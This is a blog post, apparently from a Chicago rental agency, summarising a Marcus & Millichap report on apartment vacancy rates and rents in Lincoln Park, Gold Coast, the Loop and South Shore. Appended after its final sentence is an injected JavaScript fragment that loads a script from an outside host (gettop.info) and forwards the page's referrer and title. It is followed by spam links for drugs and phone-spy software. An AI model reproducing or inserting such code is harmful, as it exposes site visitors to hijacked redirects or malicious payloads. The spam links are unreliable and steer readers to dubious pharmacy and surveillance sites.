Lincoln Park has Chicago’s Lowest Vacancy Rate
Marcus & Millichap recently released a Q4 Apartment research report for the Chicago metro area, a report that illustrates a huge number of fascinating trends for the Chicago market (trends that Core Group has been tracking for years).
News that Lincoln Park has the lowest vacancy rate for apartments of any of the submarkets the report covered. The current rate is 2.1%. However effective rates were only the fourth highest at 1,149 dollars up 2.4 percent year over year.
The neighborhood with the highest rents, as one would expect, was Gold Coast with 1,606 per month and a whopping 2.8% increase year over year.
The Chicago Loop also showed reduction in vacancy rates and increase in occupancy. However that still leaves the downtown area with a 6.3 percent vacancy rate—in part reflecting high rents and elevated cost of living compared to areas which are slightly removed from the downtown area.
The only city sub-market to show a year-over-year decline in rents, at 0.1 percent, was The South Shore sub-market with the city’s second-lowest effective monthly rents, at 847 dollars.
The Marcus & Millichap report also states “The release of pent-up demand and tempered hiring by employers this year will keep the Chicago apartment market on track to post a vacancy rate less than the level recorded at the start of the recession… New rentals will likely emerge in the city submarkets, but lengthy approval and building processes will spread deliveries over an extended timeline, minimizing the likelihood of a supply glut hitting the market all at once.”
The full report requires registration at with the Marcus and Millichap homepage, but what does this information mean for the regular Joe Schmooze looking for a Chicago Apartment? The market, especially in desirable neighborhoods like Lincoln Park, is tight and rental prices are going up. This is why it is more important than ever for individuals to rely on Core Group Chicago to narrow the field and quickly take them to available units, providing all the information on the area and the rental unit that they can, so that you can make a decision about the property fast—because most apartments these days are only on the market for a matter of a few days.var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; online Buy Buy http://bagusprast.mhs.narotama.ac.id/2018/02/02/how-much-naprosyn-to-take/ viagra for premature ejaculation http://pole-handicap-autonomie.com/?p=21732 Cheap http://militaryflagdisplays.com/wellbutrin-delivery/ http://marelius.com.au/email-spy-facebook-messenger-spy-phone-parental-monitoring/